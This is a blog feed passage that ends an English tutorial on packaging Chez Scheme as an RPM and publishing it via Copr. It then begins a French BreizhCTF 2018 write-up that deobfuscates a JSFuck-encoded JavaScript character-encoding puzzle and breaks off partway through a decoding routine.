&lt;p&gt;First, patches can have different “roots”. We will use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;patch -p0&lt;/code&gt; to apply git patches as they don’t include the main folder and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;patch -p1&lt;/code&gt; for diff patches as they include the main folder.
If you use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;autosetup&lt;/code&gt; macro in your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.spec&lt;/code&gt; file, you will put (for diff patches):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%autosetup -p1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Second, once downloaded, your tarball doesn’t necessarily extract in a folder of the name &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;package&amp;gt;-&amp;lt;version&amp;gt;&lt;/code&gt;. If it’s not the case, you must precise it too:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%autosetup -p1 -n ChezScheme-%{version}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, if we want to build the RPM, we will have to type the following commands:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;spectool &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; ./chez-scheme.spec  &lt;span class=&quot;c&quot;&gt;# Download sources&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;.patch ~/rpmbuild/SOURCES      &lt;span class=&quot;c&quot;&gt;# Copy patches&lt;/span&gt;
rpmbuild &lt;span class=&quot;nt&quot;&gt;-ba&lt;/span&gt; ./chez-scheme.spec    &lt;span class=&quot;c&quot;&gt;# Build RPM&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are some tools like rpkg, fedpkg or tito that can do most of the steps for you.
Unfortunately, they are not very flexible. rpkg and fedpkg never download the source directly, but from a mirror, and fails with a 404 as they don’t find the file. If I want to push my source to this mirror, it fails with an unauthorized error. These packages seem to be aimed at distribution maintainers. tito, for its part, doesn’t handle correctly patches and sources. It consider that everything should be embedded in a single git repository.&lt;/p&gt;

&lt;p&gt;So, we will need an home made solution.&lt;/p&gt;

&lt;h2 id=&quot;make-srpm&quot;&gt;make srpm&lt;/h2&gt;

&lt;p&gt;Fortunately, copr propose different solutions. One is to build your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.srpm&lt;/code&gt; locally and send it to copr, but we can even avoid this step and only give a git repository to copr: we will build our own builder with a Makefile.&lt;/p&gt;

&lt;p&gt;Copr will call a Makefile located in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;git_root&amp;gt;/.copr&lt;/code&gt; from the folder of our package (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;git_root&amp;gt;/chez-scheme&lt;/code&gt;) and call:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;make &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &amp;lt;git_root&amp;gt;/.copr/Makefile srpm &lt;span class=&quot;nv&quot;&gt;outdir&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;outdir&amp;gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;spec_path&amp;gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Copr proposes a simple Makefile in its documentation. I’m proposing a bit more complex one that use only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rpmbuild&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-makefile highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;rpmbuild_src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;$(&lt;/span&gt;shell rpmbuild &lt;span class=&quot;nt&quot;&gt;--eval&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;%{_sourcedir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.PHONY&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;prepare srpm rpm&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;prepare&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
	dnf &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;rpmdevtools rpm-build
	&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;.patch &lt;span class=&quot;p&quot;&gt;$(&lt;/span&gt;rpmbuild_src&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	spectool &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;$(&lt;/span&gt;spec&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;srpm&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;prepare&lt;/span&gt;
	rpmbuild &lt;span class=&quot;nt&quot;&gt;-bs&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--define&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;_srcrpmdir &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;outdir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;$(&lt;/span&gt;spec&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;rpm&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;prepare&lt;/span&gt;
	rpmbuild &lt;span class=&quot;nt&quot;&gt;-bb&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--define&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;_rpmdir &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;outdir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;$(&lt;/span&gt;spec&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rpm&lt;/code&gt; target will not be used by Copr but it can be convenient to locally test your package build before sending it to Copr.&lt;/p&gt;

&lt;p&gt;Your folder structure should now look like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rpm
├── chez-scheme
│   ├── chez-scheme.spec
│   ├── chez-scheme-symlink.patch
│   └── chez-scheme-xlocale.patch
└─── .copr
    └── Makefile
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You really have to put the Makefile here, otherwise copr will not find it.&lt;/p&gt;

&lt;h2 id=&quot;use-copr&quot;&gt;Use Copr&lt;/h2&gt;

&lt;p&gt;Now you just need to commit + push your repository and use the &lt;a href=&quot;http://copr.fedorainfracloud.org/&quot;&gt;Copr web interface&lt;/a&gt; to create a new project, add a package and trigger a build !&lt;/p&gt;

&lt;p&gt;After that, your users can just enable the copr repository on their system and install your package:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo dnf copr enable superboum/chez-scheme 
sudo dnf install chez-scheme
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can configure some webhooks to rebuild your packages for each git commit.
And that’s all!&lt;/p&gt;

&lt;h2 id=&quot;sources&quot;&gt;Sources&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://fedoraproject.org/wiki/Packaging:Guidelines&quot;&gt;Fedora Packaging Guidelines&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pagure.io/spectool&quot;&gt;Spectool&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.pagure.org/copr.copr/user_documentation.html&quot;&gt;Copr documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sun, 20 May 2018 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2018-05-20/build-a-rpm-package-and-publish-it-on-copr/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2018-05-20/build-a-rpm-package-and-publish-it-on-copr/</guid>
      </item>
    
    
    
      <item>
        <title>Write-Up BreizhCTF 2018</title>
        
        <description>&lt;p&gt;Le BreizhCTF est une compétition autour de la sécurité, qui a lieu à Rennes tous les ans, où des équipes de 5 personnes se retrouvent face à un code obscurci, des binaires à reverse, des injections diverses et variées… tout ça pour trouver des &lt;em&gt;flags&lt;/em&gt; et marquer un maximum de points.&lt;/p&gt;

&lt;p&gt;L’édition 2018 s’est tenue durant la nuit du 20 au 21 avril dans le hall de l’université de Rennes 1. Vous pouvez trouver la vidéo de l’évènement sur &lt;a href=&quot;https://vimeo.com/265870042&quot;&gt;Vimeo&lt;/a&gt;. L’évènement s’est bien terminé pour notre équipe puisque nous avons fini 7&lt;sup&gt;e&lt;/sup&gt; (équipe ~).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/bzhctf18-scoreboard.jpg&quot;&gt;&lt;img src=&quot;/assets/images/posts/bzhctf18-scoreboard.jpg&quot; alt=&quot;scoreboard bzhctf&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;C’est donc l’occasion pour ma part de faire un compte-rendu des challenges sur lesquels j’ai travaillés.&lt;/p&gt;

&lt;p&gt;Mais avant de commencer, les autres write-ups de notre équipe sont disponibles ici :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.tclaverie.eu/posts/breizh-ctf---write-ups/&quot;&gt;Trace Me, BabyAPK, Cryptonik et Desprecitor&lt;/a&gt; par Tristan&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.lesterpig.com/post/breizhctf-2k18-write-up/&quot;&gt;Diskcrypt, Use the luck force, Chinoiseries, Diffie-Failman - strike back&lt;/a&gt; par Loïck&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;baby-js&quot;&gt;Baby JS&lt;/h2&gt;

&lt;p&gt;Pour ce challenge, on récupérait un texte inconnu et un fichier javascript &lt;a href=&quot;/assets/code/bzhctf18-baby.js&quot;&gt;baby.js&lt;/a&gt; qui avait l’air bien obscurci.
En écrivant ce write-up, je me rends compte qu’il n’a pas été obscurci à la main mais à l’aide de l’outil &lt;a href=&quot;http://www.jsfuck.com/&quot;&gt;JSFuck&lt;/a&gt; (merci &lt;a href=&quot;https://tclaverie.eu/&quot;&gt;Tristan&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Voilà à quoi ressemble du code après passage dans JSFuck :&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[][(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[][[]])[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+!+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Le détail de l’implémentation se trouve sur &lt;a href=&quot;https://github.com/aemkei/jsfuck&quot;&gt;le README du projet github de JSFuck&lt;/a&gt;.
Pensant que ce JS a été obscurci spécialement pour l’évènement, je me suis mis en quête d’un moyen de le désobscurcir à la main.&lt;/p&gt;

&lt;p&gt;Sans pour autant complètement comprendre pourquoi, il apparait que :&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;En enlevant la première déclaration de tableau (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[]&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;En enlevant l’appel à la fonction tout à la fin de la ligne (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;()&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;En stockant ce qui reste dans une variable (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;let a = &lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Ce qui ressemble à ça :&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On obtient alors la fonction suivante :&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;breizHash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ENCRYPT&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;method&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;DECRYPT&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;method&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ENCRYPT&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ENCRYPT&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hexCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;charCodeAt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;127&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;255&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;hexCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hexCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;hexCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hexCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hexCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Fonction qui manque définitivement d’une partie &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DECRYPT&lt;/code&gt;. On peut réécrire cette partie en refaisant les étapes dans le sens inverse :&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;DECRYPT&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
